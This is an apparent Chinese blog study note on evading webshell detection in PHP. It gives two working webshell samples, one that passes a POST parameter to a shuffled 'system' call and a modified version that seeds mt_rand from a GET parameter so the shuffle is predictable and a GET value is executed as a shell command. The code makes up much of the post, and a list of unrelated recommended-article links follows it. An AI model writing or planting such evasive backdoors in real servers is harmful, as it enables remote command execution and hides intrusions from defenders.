记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
j***29484 小时前
IPV6公网暴露下的OPENWRT防火墙安全设置(只允许访问局域网中指定服务器指定端口其余拒绝)
服务器·安全·php
Freshman小白5 小时前
《生活英语读写》2025学堂在线网课答案(全部作业题)
爬虫·学习·答案
m0_488913016 小时前
小白也能懂!RAG技术让AI告别知识滞后,收藏学习
人工智能·学习·langchain·大模型·ai大模型·rag·大模型学习
漏洞文库-Web安全6 小时前
CTF密码学之SM4
安全·web安全·网络安全·密码学·ctf
石像鬼₧魂石7 小时前
常用的安全审计工具可以用于靶机学习
学习·安全
知攻善防实验室7 小时前
双节期间,我收到了一封高危漏洞的邮件。
安全·网络安全
2301_764441337 小时前
三维建筑非法入侵情景推演
python·学习·算法
uxiang_blog8 小时前
Linux学习之旅8
linux·运维·学习
丝斯20118 小时前
AI学习笔记整理(22)—— AI核心技术(深度学习6)
人工智能·笔记·学习
丝斯20119 小时前
AI学习笔记整理(21)—— AI核心技术(深度学习5)
人工智能·笔记·学习